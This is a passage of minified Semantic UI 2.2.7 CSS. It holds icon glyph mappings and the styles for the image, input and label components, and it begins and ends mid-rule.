f239"}i.icon.map.pin:before{content:"\f276"}i.icon.map.signs:before{content:"\f277"}i.icon.map.outline:before{content:"\f278"}i.icon.map:before{content:"\f279"}i.icon.table:before{content:"\f0ce"}i.icon.columns:before{content:"\f0db"}i.icon.sort:before{content:"\f0dc"}i.icon.sort.descending:before{content:"\f0dd"}i.icon.sort.ascending:before{content:"\f0de"}i.icon.sort.alphabet.ascending:before{content:"\f15d"}i.icon.sort.alphabet.descending:before{content:"\f15e"}i.icon.sort.content.ascending:before{content:"\f160"}i.icon.sort.content.descending:before{content:"\f161"}i.icon.sort.numeric.ascending:before{content:"\f162"}i.icon.sort.numeric.descending:before{content:"\f163"}i.icon.font:before{content:"\f031"}i.icon.bold:before{content:"\f032"}i.icon.italic:before{content:"\f033"}i.icon.text.height:before{content:"\f034"}i.icon.text.width:before{content:"\f035"}i.icon.align.left:before{content:"\f036"}i.icon.align.center:before{content:"\f037"}i.icon.align.right:before{content:"\f038"}i.icon.align.justify:before{content:"\f039"}i.icon.list:before{content:"\f03a"}i.icon.outdent:before{content:"\f03b"}i.icon.indent:before{content:"\f03c"}i.icon.linkify:before{content:"\f0c1"}i.icon.cut:before{content:"\f0c4"}i.icon.copy:before{content:"\f0c5"}i.icon.attach:before{content:"\f0c6"}i.icon.save:before{content:"\f0c7"}i.icon.content:before{content:"\f0c9"}i.icon.unordered.list:before{content:"\f0ca"}i.icon.ordered.list:before{content:"\f0cb"}i.icon.strikethrough:before{content:"\f0cc"}i.icon.underline:before{content:"\f0cd"}i.icon.paste:before{content:"\f0ea"}i.icon.unlinkify:before{content:"\f127"}i.icon.superscript:before{content:"\f12b"}i.icon.subscript:before{content:"\f12c"}i.icon.header:before{content:"\f1dc"}i.icon.paragraph:before{content:"\f1dd"}i.icon.text.cursor:before{content:"\f246"}i.icon.euro:before{content:"\f153"}i.icon.pound:before{content:"\f154"}i.icon.dollar:before{content:"\f155"}i.icon.rupee:before{content:"\f156"}i.icon.yen:before{content:"\f157"}i.icon.ruble:before{content:"\f158"}i.icon.won:before{content:"\f159"}i.icon.bitcoin:before{content:"\f15a"}i.icon.lira:before{content:"\f195"}i.icon.shekel:before{content:"\f20b"}i.icon.paypal:before{content:"\f1ed"}i.icon.google.wallet:before{content:"\f1ee"}i.icon.visa:before{content:"\f1f0"}i.icon.mastercard:before{content:"\f1f1"}i.icon.discover:before{content:"\f1f2"}i.icon.american.express:before{content:"\f1f3"}i.icon.paypal.card:before{content:"\f1f4"}i.icon.stripe:before{content:"\f1f5"}i.icon.japan.credit.bureau:before{content:"\f24b"}i.icon.diners.club:before{content:"\f24c"}i.icon.credit.card.alternative:before{content:"\f283"}i.icon.twitter.square:before{content:"\f081"}i.icon.facebook.square:before{content:"\f082"}i.icon.linkedin.square:before{content:"\f08c"}i.icon.github.square:before{content:"\f092"}i.icon.twitter:before{content:"\f099"}i.icon.facebook.f:before{content:"\f09a"}i.icon.github:before{content:"\f09b"}i.icon.pinterest:before{content:"\f0d2"}i.icon.pinterest.square:before{content:"\f0d3"}i.icon.google.plus.square:before{content:"\f0d4"}i.icon.google.plus:before{content:"\f0d5"}i.icon.linkedin:before{content:"\f0e1"}i.icon.github.alternate:before{content:"\f113"}i.icon.maxcdn:before{content:"\f136"}i.icon.youtube.square:before{content:"\f166"}i.icon.youtube:before{content:"\f167"}i.icon.xing:before{content:"\f168"}i.icon.xing.square:before{content:"\f169"}i.icon.youtube.play:before{content:"\f16a"}i.icon.dropbox:before{content:"\f16b"}i.icon.stack.overflow:before{content:"\f16c"}i.icon.instagram:before{content:"\f16d"}i.icon.flickr:before{content:"\f16e"}i.icon.adn:before{content:"\f170"}i.icon.bitbucket:before{content:"\f171"}i.icon.bitbucket.square:before{content:"\f172"}i.icon.tumblr:before{content:"\f173"}i.icon.tumblr.square:before{content:"\f174"}i.icon.apple:before{content:"\f179"}i.icon.windows:before{content:"\f17a"}i.icon.android:before{content:"\f17b"}i.icon.linux:before{content:"\f17c"}i.icon.dribble:before{content:"\f17d"}i.icon.skype:before{content:"\f17e"}i.icon.foursquare:before{content:"\f180"}i.icon.trello:before{content:"\f181"}i.icon.gittip:before{content:"\f184"}i.icon.vk:before{content:"\f189"}i.icon.weibo:before{content:"\f18a"}i.icon.renren:before{content:"\f18b"}i.icon.pagelines:before{content:"\f18c"}i.icon.stack.exchange:before{content:"\f18d"}i.icon.vimeo.square:before{content:"\f194"}i.icon.slack:before{content:"\f198"}i.icon.wordpress:before{content:"\f19a"}i.icon.yahoo:before{content:"\f19e"}i.icon.google:before{content:"\f1a0"}i.icon.reddit:before{content:"\f1a1"}i.icon.reddit.square:before{content:"\f1a2"}i.icon.stumbleupon.circle:before{content:"\f1a3"}i.icon.stumbleupon:before{content:"\f1a4"}i.icon.delicious:before{content:"\f1a5"}i.icon.digg:before{content:"\f1a6"}i.icon.pied.piper:before{content:"\f1a7"}i.icon.pied.piper.alternate:before{content:"\f1a8"}i.icon.drupal:before{content:"\f1a9"}i.icon.joomla:before{content:"\f1aa"}i.icon.behance:before{content:"\f1b4"}i.icon.behance.square:before{content:"\f1b5"}i.icon.steam:before{content:"\f1b6"}i.icon.steam.square:before{content:"\f1b7"}i.icon.spotify:before{content:"\f1bc"}i.icon.deviantart:before{content:"\f1bd"}i.icon.soundcloud:before{content:"\f1be"}i.icon.vine:before{content:"\f1ca"}i.icon.codepen:before{content:"\f1cb"}i.icon.jsfiddle:before{content:"\f1cc"}i.icon.rebel:before{content:"\f1d0"}i.icon.empire:before{content:"\f1d1"}i.icon.git.square:before{content:"\f1d2"}i.icon.git:before{content:"\f1d3"}i.icon.hacker.news:before{content:"\f1d4"}i.icon.tencent.weibo:before{content:"\f1d5"}i.icon.qq:before{content:"\f1d6"}i.icon.wechat:before{content:"\f1d7"}i.icon.slideshare:before{content:"\f1e7"}i.icon.twitch:before{content:"\f1e8"}i.icon.yelp:before{content:"\f1e9"}i.icon.lastfm:before{content:"\f202"}i.icon.lastfm.square:before{content:"\f203"}i.icon.ioxhost:before{content:"\f208"}i.icon.angellist:before{content:"\f209"}i.icon.meanpath:before{content:"\f20c"}i.icon.buysellads:before{content:"\f20d"}i.icon.connectdevelop:before{content:"\f20e"}i.icon.dashcube:before{content:"\f210"}i.icon.forumbee:before{content:"\f211"}i.icon.leanpub:before{content:"\f212"}i.icon.sellsy:before{content:"\f213"}i.icon.shirtsinbulk:before{content:"\f214"}i.icon.simplybuilt:before{content:"\f215"}i.icon.skyatlas:before{content:"\f216"}i.icon.facebook:before{content:"\f230"}i.icon.pinterest:before{content:"\f231"}i.icon.whatsapp:before{content:"\f232"}i.icon.viacoin:before{content:"\f237"}i.icon.medium:before{content:"\f23a"}i.icon.y.combinator:before{content:"\f23b"}i.icon.optinmonster:before{content:"\f23c"}i.icon.opencart:before{content:"\f23d"}i.icon.expeditedssl:before{content:"\f23e"}i.icon.gg:before{content:"\f260"}i.icon.gg.circle:before{content:"\f261"}i.icon.tripadvisor:before{content:"\f262"}i.icon.odnoklassniki:before{content:"\f263"}i.icon.odnoklassniki.square:before{content:"\f264"}i.icon.pocket:before{content:"\f265"}i.icon.wikipedia:before{content:"\f266"}i.icon.safari:before{content:"\f267"}i.icon.chrome:before{content:"\f268"}i.icon.firefox:before{content:"\f269"}i.icon.opera:before{content:"\f26a"}i.icon.internet.explorer:before{content:"\f26b"}i.icon.contao:before{content:"\f26d"}i.icon.\35 00px:before{content:"\f26e"}i.icon.amazon:before{content:"\f270"}i.icon.houzz:before{content:"\f27c"}i.icon.vimeo:before{content:"\f27d"}i.icon.black.tie:before{content:"\f27e"}i.icon.fonticons:before{content:"\f280"}i.icon.reddit.alien:before{content:"\f281"}i.icon.microsoft.edge:before{content:"\f282"}i.icon.codiepie:before{content:"\f284"}i.icon.modx:before{content:"\f285"}i.icon.fort.awesome:before{content:"\f286"}i.icon.product.hunt:before{content:"\f288"}i.icon.mixcloud:before{content:"\f289"}i.icon.scribd:before{content:"\f28a"}i.icon.gitlab:before{content:"\f296"}i.icon.wpbeginner:before{content:"\f297"}i.icon.wpforms:before{content:"\f298"}i.icon.envira.gallery:before{content:"\f299"}i.icon.glide:before{content:"\f2a5"}i.icon.glide.g:before{content:"\f2a6"}i.icon.viadeo:before{content:"\f2a9"}i.icon.viadeo.square:before{content:"\f2aa"}i.icon.snapchat:before{content:"\f2ab"}i.icon.snapchat.ghost:before{content:"\f2ac"}i.icon.snapchat.square:before{content:"\f2ad"}i.icon.pied.piper.hat:before{content:"\f2ae"}i.icon.first.order:before{content:"\f2b0"}i.icon.yoast:before{content:"\f2b1"}i.icon.themeisle:before{content:"\f2b2"}i.icon.google.plus.circle:before{content:"\f2b3"}i.icon.font.awesome:before{content:"\f2b4"}i.icon.like:before{content:"\f004"}i.icon.favorite:before{content:"\f005"}i.icon.video:before{content:"\f008"}i.icon.check:before{content:"\f00c"}i.icon.close:before{content:"\f00d"}i.icon.cancel:before{content:"\f00d"}i.icon.delete:before{content:"\f00d"}i.icon.x:before{content:"\f00d"}i.icon.zoom.in:before{content:"\f00e"}i.icon.magnify:before{content:"\f00e"}i.icon.shutdown:before{content:"\f011"}i.icon.clock:before{content:"\f017"}i.icon.time:before{content:"\f017"}i.icon.play.circle.outline:before{content:"\f01d"}i.icon.headphone:before{content:"\f025"}i.icon.camera:before{content:"\f030"}i.icon.video.camera:before{content:"\f03d"}i.icon.picture:before{content:"\f03e"}i.icon.pencil:before{content:"\f040"}i.icon.compose:before{content:"\f040"}i.icon.point:before{content:"\f041"}i.icon.tint:before{content:"\f043"}i.icon.signup:before{content:"\f044"}i.icon.plus.circle:before{content:"\f055"}i.icon.question.circle:before{content:"\f059"}i.icon.dont:before{content:"\f05e"}i.icon.minimize:before{content:"\f066"}i.icon.add:before{content:"\f067"}i.icon.exclamation.circle:before{content:"\f06a"}i.icon.attention:before{content:"\f06a"}i.icon.eye:before{content:"\f06e"}i.icon.exclamation.triangle:before{content:"\f071"}i.icon.shuffle:before{content:"\f074"}i.icon.chat:before{content:"\f075"}i.icon.cart:before{content:"\f07a"}i.icon.shopping.cart:before{content:"\f07a"}i.icon.bar.graph:before{content:"\f080"}i.icon.key:before{content:"\f084"}i.icon.cogs:before{content:"\f085"}i.icon.discussions:before{content:"\f086"}i.icon.like.outline:before{content:"\f087"}i.icon.dislike.outline:before{content:"\f088"}i.icon.heart.outline:before{content:"\f08a"}i.icon.log.out:before{content:"\f08b"}i.icon.thumb.tack:before{content:"\f08d"}i.icon.winner:before{content:"\f091"}i.icon.phone:before{content:"\f095"}i.icon.bookmark.outline:before{content:"\f097"}i.icon.phone.square:before{content:"\f098"}i.icon.credit.card:before{content:"\f09d"}i.icon.hdd.outline:before{content:"\f0a0"}i.icon.bullhorn:before{content:"\f0a1"}i.icon.bell.outline:before{content:"\f0a2"}i.icon.hand.outline.right:before{content:"\f0a4"}i.icon.hand.outline.left:before{content:"\f0a5"}i.icon.hand.outline.up:before{content:"\f0a6"}i.icon.hand.outline.down:before{content:"\f0a7"}i.icon.globe:before{content:"\f0ac"}i.icon.wrench:before{content:"\f0ad"}i.icon.briefcase:before{content:"\f0b1"}i.icon.group:before{content:"\f0c0"}i.icon.linkify:before{content:"\f0c1"}i.icon.chain:before{content:"\f0c1"}i.icon.flask:before{content:"\f0c3"}i.icon.sidebar:before{content:"\f0c9"}i.icon.bars:before{content:"\f0c9"}i.icon.list.ul:before{content:"\f0ca"}i.icon.list.ol:before{content:"\f0cb"}i.icon.numbered.list:before{content:"\f0cb"}i.icon.magic:before{content:"\f0d0"}i.icon.truck:before{content:"\f0d1"}i.icon.currency:before{content:"\f0d6"}i.icon.triangle.down:before{content:"\f0d7"}i.icon.dropdown:before{content:"\f0d7"}i.icon.triangle.up:before{content:"\f0d8"}i.icon.triangle.left:before{content:"\f0d9"}i.icon.triangle.right:before{content:"\f0da"}i.icon.envelope:before{content:"\f0e0"}i.icon.conversation:before{content:"\f0e6"}i.icon.rain:before{content:"\f0e9"}i.icon.clipboard:before{content:"\f0ea"}i.icon.lightbulb:before{content:"\f0eb"}i.icon.bell:before{content:"\f0f3"}i.icon.ambulance:before{content:"\f0f9"}i.icon.medkit:before{content:"\f0fa"}i.icon.fighter.jet:before{content:"\f0fb"}i.icon.beer:before{content:"\f0fc"}i.icon.plus.square:before{content:"\f0fe"}i.icon.computer:before{content:"\f108"}i.icon.circle.outline:before{content:"\f10c"}i.icon.gamepad:before{content:"\f11b"}i.icon.star.half.full:before{content:"\f123"}i.icon.broken.chain:before{content:"\f127"}i.icon.question:before{content:"\f128"}i.icon.exclamation:before{content:"\f12a"}i.icon.eraser:before{content:"\f12d"}i.icon.microphone:before{content:"\f130"}i.icon.microphone.slash:before{content:"\f131"}i.icon.shield:before{content:"\f132"}i.icon.target:before{content:"\f140"}i.icon.play.circle:before{content:"\f144"}i.icon.pencil.square:before{content:"\f14b"}i.icon.eur:before{content:"\f153"}i.icon.gbp:before{content:"\f154"}i.icon.usd:before{content:"\f155"}i.icon.inr:before{content:"\f156"}i.icon.cny:before{content:"\f157"}i.icon.rmb:before{content:"\f157"}i.icon.jpy:before{content:"\f157"}i.icon.rouble:before{content:"\f158"}i.icon.rub:before{content:"\f158"}i.icon.krw:before{content:"\f159"}i.icon.btc:before{content:"\f15a"}i.icon.gratipay:before{content:"\f184"}i.icon.zip:before{content:"\f187"}i.icon.dot.circle.outline:before{content:"\f192"}i.icon.try:before{content:"\f195"}i.icon.graduation:before{content:"\f19d"}i.icon.circle.outline:before{content:"\f1db"}i.icon.sliders:before{content:"\f1de"}i.icon.weixin:before{content:"\f1d7"}i.icon.tty:before{content:"\f1e4"}i.icon.teletype:before{content:"\f1e4"}i.icon.binoculars:before{content:"\f1e5"}i.icon.power.cord:before{content:"\f1e6"}i.icon.wi-fi:before{content:"\f1eb"}i.icon.visa.card:before{content:"\f1f0"}i.icon.mastercard.card:before{content:"\f1f1"}i.icon.discover.card:before{content:"\f1f2"}i.icon.amex:before{content:"\f1f3"}i.icon.american.express.card:before{content:"\f1f3"}i.icon.stripe.card:before{content:"\f1f5"}i.icon.bell.slash:before{content:"\f1f6"}i.icon.bell.slash.outline:before{content:"\f1f7"}i.icon.area.graph:before{content:"\f1fe"}i.icon.pie.graph:before{content:"\f200"}i.icon.line.graph:before{content:"\f201"}i.icon.cc:before{content:"\f20a"}i.icon.sheqel:before{content:"\f20b"}i.icon.ils:before{content:"\f20b"}i.icon.plus.cart:before{content:"\f217"}i.icon.arrow.down.cart:before{content:"\f218"}i.icon.detective:before{content:"\f21b"}i.icon.venus:before{content:"\f221"}i.icon.mars:before{content:"\f222"}i.icon.mercury:before{content:"\f223"}i.icon.intersex:before{content:"\f224"}i.icon.venus.double:before{content:"\f226"}i.icon.female.homosexual:before{content:"\f226"}i.icon.mars.double:before{content:"\f227"}i.icon.male.homosexual:before{content:"\f227"}i.icon.venus.mars:before{content:"\f228"}i.icon.mars.stroke:before{content:"\f229"}i.icon.mars.alternate:before{content:"\f229"}i.icon.mars.vertical:before{content:"\f22a"}i.icon.mars.stroke.vertical:before{content:"\f22a"}i.icon.mars.horizontal:before{content:"\f22b"}i.icon.mars.stroke.horizontal:before{content:"\f22b"}i.icon.asexual:before{content:"\f22d"}i.icon.facebook.official:before{content:"\f230"}i.icon.user.plus:before{content:"\f234"}i.icon.user.times:before{content:"\f235"}i.icon.user.close:before{content:"\f235"}i.icon.user.cancel:before{content:"\f235"}i.icon.user.delete:before{content:"\f235"}i.icon.user.x:before{content:"\f235"}i.icon.bed:before{content:"\f236"}i.icon.yc:before{content:"\f23b"}i.icon.ycombinator:before{content:"\f23b"}i.icon.battery.four:before{content:"\f240"}i.icon.battery.three:before{content:"\f241"}i.icon.battery.three.quarters:before{content:"\f241"}i.icon.battery.two:before{content:"\f242"}i.icon.battery.half:before{content:"\f242"}i.icon.battery.one:before{content:"\f243"}i.icon.battery.quarter:before{content:"\f243"}i.icon.battery.zero:before{content:"\f244"}i.icon.i.cursor:before{content:"\f246"}i.icon.jcb:before{content:"\f24b"}i.icon.japan.credit.bureau.card:before{content:"\f24b"}i.icon.diners.club.card:before{content:"\f24c"}i.icon.balance:before{content:"\f24e"}i.icon.hourglass.outline:before{content:"\f250"}i.icon.hourglass.zero:before{content:"\f250"}i.icon.hourglass.one:before{content:"\f251"}i.icon.hourglass.two:before{content:"\f252"}i.icon.hourglass.three:before{content:"\f253"}i.icon.hourglass.four:before{content:"\f254"}i.icon.grab:before{content:"\f255"}i.icon.hand.victory:before{content:"\f25b"}i.icon.tm:before{content:"\f25c"}i.icon.r.circle:before{content:"\f25d"}i.icon.television:before{content:"\f26c"}i.icon.five.hundred.pixels:before{content:"\f26e"}i.icon.calendar.plus:before{content:"\f271"}i.icon.calendar.minus:before{content:"\f272"}i.icon.calendar.times:before{content:"\f273"}i.icon.calendar.check:before{content:"\f274"}i.icon.factory:before{content:"\f275"}i.icon.commenting:before{content:"\f27a"}i.icon.commenting.outline:before{content:"\f27b"}i.icon.edge:before{content:"\f282"}i.icon.ms.edge:before{content:"\f282"}i.icon.wordpress.beginner:before{content:"\f297"}i.icon.wordpress.forms:before{content:"\f298"}i.icon.envira:before{content:"\f299"}i.icon.question.circle.outline:before{content:"\f29c"}i.icon.assistive.listening.devices:before{content:"\f2a2"}i.icon.als:before{content:"\f2a2"}i.icon.ald:before{content:"\f2a2"}i.icon.asl.interpreting:before{content:"\f2a3"}i.icon.deaf:before{content:"\f2a4"}i.icon.american.sign.language.interpreting:before{content:"\f2a3"}i.icon.hard.of.hearing:before{content:"\f2a4"}i.icon.signing:before{content:"\f2a7"}i.icon.new.pied.piper:before{content:"\f2ae"}i.icon.theme.isle:before{content:"\f2b2"}i.icon.google.plus.official:before{content:"\f2b3"}i.icon.fa:before{content:"\f2b4"}/*! * # Semantic UI 2.2.7 - Image * path_to_url * * * Released under the MIT license * path_to_url * */.ui.image{position:relative;display:inline-block;vertical-align:middle;max-width:100%;background-color:transparent}img.ui.image{display:block}.ui.image img,.ui.image svg{display:block;max-width:100%;height:auto}.ui.hidden.image,.ui.hidden.images{display:none}.ui.hidden.transition.image,.ui.hidden.transition.images{display:block;visibility:hidden}.ui.disabled.image,.ui.disabled.images{cursor:default;opacity:.45}.ui.inline.image,.ui.inline.image img,.ui.inline.image svg{display:inline-block}.ui.top.aligned.image,.ui.top.aligned.image img,.ui.top.aligned.image svg,.ui.top.aligned.images .image{display:inline-block;vertical-align:top}.ui.middle.aligned.image,.ui.middle.aligned.image img,.ui.middle.aligned.image svg,.ui.middle.aligned.images .image{display:inline-block;vertical-align:middle}.ui.bottom.aligned.image,.ui.bottom.aligned.image img,.ui.bottom.aligned.image svg,.ui.bottom.aligned.images .image{display:inline-block;vertical-align:bottom}.ui.rounded.image,.ui.rounded.image>*,.ui.rounded.images .image,.ui.rounded.images .image>*{border-radius:.3125em}.ui.bordered.image img,.ui.bordered.image svg,.ui.bordered.images .image,.ui.bordered.images img,.ui.bordered.images svg,img.ui.bordered.image{border:1px solid rgba(0,0,0,.1)}.ui.circular.image,.ui.circular.images{overflow:hidden}.ui.circular.image,.ui.circular.image>*,.ui.circular.images .image,.ui.circular.images .image>*{border-radius:500rem}.ui.fluid.image,.ui.fluid.image img,.ui.fluid.image svg,.ui.fluid.images,.ui.fluid.images img,.ui.fluid.images svg{display:block;width:100%;height:auto}.ui.avatar.image,.ui.avatar.image img,.ui.avatar.image svg,.ui.avatar.images .image,.ui.avatar.images img,.ui.avatar.images svg{margin-right:.25em;display:inline-block;width:2em;height:2em;border-radius:500rem}.ui.spaced.image{display:inline-block!important;margin-left:.5em;margin-right:.5em}.ui[class*="left spaced"].image{margin-left:.5em;margin-right:0}.ui[class*="right spaced"].image{margin-left:0;margin-right:.5em}.ui.floated.image,.ui.floated.images{float:left;margin-right:1em;margin-bottom:1em}.ui.right.floated.image,.ui.right.floated.images{float:right;margin-right:0;margin-bottom:1em;margin-left:1em}.ui.floated.image:last-child,.ui.floated.images:last-child{margin-bottom:0}.ui.centered.image,.ui.centered.images{margin-left:auto;margin-right:auto}.ui.mini.image,.ui.mini.images .image,.ui.mini.images img,.ui.mini.images svg{width:35px;height:auto;font-size:.78571429rem}.ui.tiny.image,.ui.tiny.images .image,.ui.tiny.images img,.ui.tiny.images svg{width:80px;height:auto;font-size:.85714286rem}.ui.small.image,.ui.small.images .image,.ui.small.images img,.ui.small.images svg{width:150px;height:auto;font-size:.92857143rem}.ui.medium.image,.ui.medium.images .image,.ui.medium.images img,.ui.medium.images svg{width:300px;height:auto;font-size:1rem}.ui.large.image,.ui.large.images .image,.ui.large.images img,.ui.large.images svg{width:450px;height:auto;font-size:1.14285714rem}.ui.big.image,.ui.big.images .image,.ui.big.images img,.ui.big.images svg{width:600px;height:auto;font-size:1.28571429rem}.ui.huge.image,.ui.huge.images .image,.ui.huge.images img,.ui.huge.images svg{width:800px;height:auto;font-size:1.42857143rem}.ui.massive.image,.ui.massive.images .image,.ui.massive.images img,.ui.massive.images svg{width:960px;height:auto;font-size:1.71428571rem}.ui.images{font-size:0;margin:0 -.25rem 0}.ui.images .image,.ui.images img,.ui.images svg{display:inline-block;margin:0 .25rem .5rem}/*! * # Semantic UI 2.2.7 - Input * path_to_url * * * Released under the MIT license * path_to_url * */.ui.input{position:relative;font-weight:400;font-style:normal;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;color:rgba(0,0,0,.87)}.ui.input input{margin:0;max-width:100%;-webkit-box-flex:1;-ms-flex:1 0 auto;flex:1 0 auto;outline:0;-webkit-tap-highlight-color:rgba(255,255,255,0);text-align:left;line-height:1.2142em;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;padding:.67861429em 1em;background:#fff;border:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87);border-radius:.28571429rem;-webkit-transition:box-shadow .1s ease,border-color .1s ease;transition:box-shadow .1s ease,border-color .1s ease;box-shadow:none}.ui.input input::-webkit-input-placeholder{color:rgba(191,191,191,.87)}.ui.input input::-moz-placeholder{color:rgba(191,191,191,.87)}.ui.input input:-ms-input-placeholder{color:rgba(191,191,191,.87)}.ui.disabled.input,.ui.input input[disabled]{opacity:.45}.ui.disabled.input input,.ui.input input[disabled]{pointer-events:none}.ui.input input:active,.ui.input.down input{border-color:rgba(0,0,0,.3);background:#fafafa;color:rgba(0,0,0,.87);box-shadow:none}.ui.loading.loading.input>i.icon:before{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.loading.loading.input>i.icon:after{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;-webkit-animation:button-spin .6s linear;animation:button-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em;box-shadow:0 0 0 1px transparent}.ui.input input:focus,.ui.input.focus input{border-color:#85b7d9;background:#fff;color:rgba(0,0,0,.8);box-shadow:none}.ui.input input:focus::-webkit-input-placeholder,.ui.input.focus input::-webkit-input-placeholder{color:rgba(115,115,115,.87)}.ui.input input:focus::-moz-placeholder,.ui.input.focus input::-moz-placeholder{color:rgba(115,115,115,.87)}.ui.input input:focus:-ms-input-placeholder,.ui.input.focus input:-ms-input-placeholder{color:rgba(115,115,115,.87)}.ui.input.error input{background-color:#fff6f6;border-color:#e0b4b4;color:#9f3a38;box-shadow:none}.ui.input.error input::-webkit-input-placeholder{color:#e7bdbc}.ui.input.error input::-moz-placeholder{color:#e7bdbc}.ui.input.error input:-ms-input-placeholder{color:#e7bdbc!important}.ui.input.error input:focus::-webkit-input-placeholder{color:#da9796}.ui.input.error input:focus::-moz-placeholder{color:#da9796}.ui.input.error input:focus:-ms-input-placeholder{color:#da9796!important}.ui.transparent.input input{border-color:transparent!important;background-color:transparent!important;padding:0!important;box-shadow:none!important}.ui.transparent.icon.input>i.icon{width:1.1em}.ui.transparent.icon.input>input{padding-left:0!important;padding-right:2em!important}.ui.transparent[class*="left icon"].input>input{padding-left:2em!important;padding-right:0!important}.ui.transparent.inverted.input{color:#fff}.ui.transparent.inverted.input input{color:inherit}.ui.transparent.inverted.input input::-webkit-input-placeholder{color:rgba(255,255,255,.5)}.ui.transparent.inverted.input input::-moz-placeholder{color:rgba(255,255,255,.5)}.ui.transparent.inverted.input input:-ms-input-placeholder{color:rgba(255,255,255,.5)}.ui.icon.input>i.icon{cursor:default;position:absolute;line-height:1;text-align:center;top:0;right:0;margin:0;height:100%;width:2.67142857em;opacity:.5;border-radius:0 .28571429rem .28571429rem 0;-webkit-transition:opacity .3s ease;transition:opacity .3s ease}.ui.icon.input>i.icon:not(.link){pointer-events:none}.ui.icon.input input{padding-right:2.67142857em!important}.ui.icon.input>i.icon:after,.ui.icon.input>i.icon:before{left:0;position:absolute;text-align:center;top:50%;width:100%;margin-top:-.5em}.ui.icon.input>i.link.icon{cursor:pointer}.ui.icon.input>i.circular.icon{top:.35em;right:.5em}.ui[class*="left icon"].input>i.icon{right:auto;left:1px;border-radius:.28571429rem 0 0 .28571429rem}.ui[class*="left icon"].input>i.circular.icon{right:auto;left:.5em}.ui[class*="left icon"].input>input{padding-left:2.67142857em!important;padding-right:1em!important}.ui.icon.input>input:focus~i.icon{opacity:1}.ui.labeled.input>.label{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;margin:0;font-size:1em}.ui.labeled.input>.label:not(.corner){padding-top:.78571429em;padding-bottom:.78571429em}.ui.labeled.input:not([class*="corner labeled"]) .label:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.ui.labeled.input:not([class*="corner labeled"]) .label:first-child+input{border-top-left-radius:0;border-bottom-left-radius:0;border-left-color:transparent}.ui.labeled.input:not([class*="corner labeled"]) .label:first-child+input:focus{border-left-color:#85b7d9}.ui[class*="right labeled"].input input{border-top-right-radius:0!important;border-bottom-right-radius:0!important;border-right-color:transparent!important}.ui[class*="right labeled"].input input+.label{border-top-left-radius:0;border-bottom-left-radius:0}.ui[class*="right labeled"].input input:focus{border-right-color:#85b7d9!important}.ui.labeled.input .corner.label{top:1px;right:1px;font-size:.64285714em;border-radius:0 .28571429rem 0 0}.ui[class*="corner labeled"]:not([class*="left corner labeled"]).labeled.input input{padding-right:2.5em!important}.ui[class*="corner labeled"].icon.input:not([class*="left corner labeled"])>input{padding-right:3.25em!important}.ui[class*="corner labeled"].icon.input:not([class*="left corner labeled"])>.icon{margin-right:1.25em}.ui[class*="left corner labeled"].labeled.input input{padding-left:2.5em!important}.ui[class*="left corner labeled"].icon.input>input{padding-left:3.25em!important}.ui[class*="left corner labeled"].icon.input>.icon{margin-left:1.25em}.ui.input>.ui.corner.label{top:1px;right:1px}.ui.input>.ui.left.corner.label{right:auto;left:1px}.ui.action.input>.button,.ui.action.input>.buttons{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto}.ui.action.input>.button,.ui.action.input>.buttons>.button{padding-top:.78571429em;padding-bottom:.78571429em;margin:0}.ui.action.input:not([class*="left action"])>input{border-top-right-radius:0!important;border-bottom-right-radius:0!important;border-right-color:transparent!important}.ui.action.input:not([class*="left action"])>.button:not(:first-child),.ui.action.input:not([class*="left action"])>.buttons:not(:first-child)>.button,.ui.action.input:not([class*="left action"])>.dropdown:not(:first-child){border-radius:0}.ui.action.input:not([class*="left action"])>.button:last-child,.ui.action.input:not([class*="left action"])>.buttons:last-child>.button,.ui.action.input:not([class*="left action"])>.dropdown:last-child{border-radius:0 .28571429rem .28571429rem 0}.ui.action.input:not([class*="left action"]) input:focus{border-right-color:#85b7d9!important}.ui[class*="left action"].input>input{border-top-left-radius:0!important;border-bottom-left-radius:0!important;border-left-color:transparent!important}.ui[class*="left action"].input>.button,.ui[class*="left action"].input>.buttons>.button,.ui[class*="left action"].input>.dropdown{border-radius:0}.ui[class*="left action"].input>.button:first-child,.ui[class*="left action"].input>.buttons:first-child>.button,.ui[class*="left action"].input>.dropdown:first-child{border-radius:.28571429rem 0 0 .28571429rem}.ui[class*="left action"].input>input:focus{border-left-color:#85b7d9!important}.ui.inverted.input input{border:none}.ui.fluid.input{display:-webkit-box;display:-ms-flexbox;display:flex}.ui.fluid.input>input{width:0!important}.ui.mini.input{font-size:.78571429em}.ui.small.input{font-size:.92857143em}.ui.input{font-size:1em}.ui.large.input{font-size:1.14285714em}.ui.big.input{font-size:1.28571429em}.ui.huge.input{font-size:1.42857143em}.ui.massive.input{font-size:1.71428571em}/*! * # Semantic UI 2.2.7 - Label * path_to_url * * * Released under the MIT license * path_to_url * */.ui.label{display:inline-block;line-height:1;vertical-align:baseline;margin:0 .14285714em;background-color:#e8e8e8;background-image:none;padding:.5833em .833em;color:rgba(0,0,0,.6);text-transform:none;font-weight:700;border:0 solid transparent;border-radius:.28571429rem;-webkit-transition:background .1s ease;transition:background .1s ease}.ui.label:first-child{margin-left:0}.ui.label:last-child{margin-right:0}a.ui.label{cursor:pointer}.ui.label>a{cursor:pointer;color:inherit;opacity:.5;-webkit-transition:.1s opacity ease;transition:.1s opacity ease}.ui.label>a:hover{opacity:1}.ui.label>img{width:auto!important;vertical-align:middle;height:2.1666em!important}.ui.label>.icon{width:auto;margin:0 .75em 0 0}.ui.label>.detail{display:inline-block;vertical-align:top;font-weight:700;margin-left:1em;opacity:.8}.ui.label>.detail .icon{margin:0 .25em 0 0}.ui.label>.close.icon,.ui.label>.delete.icon{cursor:pointer;margin-right:0;margin-left:.5em;font-size:.92857143em;opacity:.5;-webkit-transition:background .1s 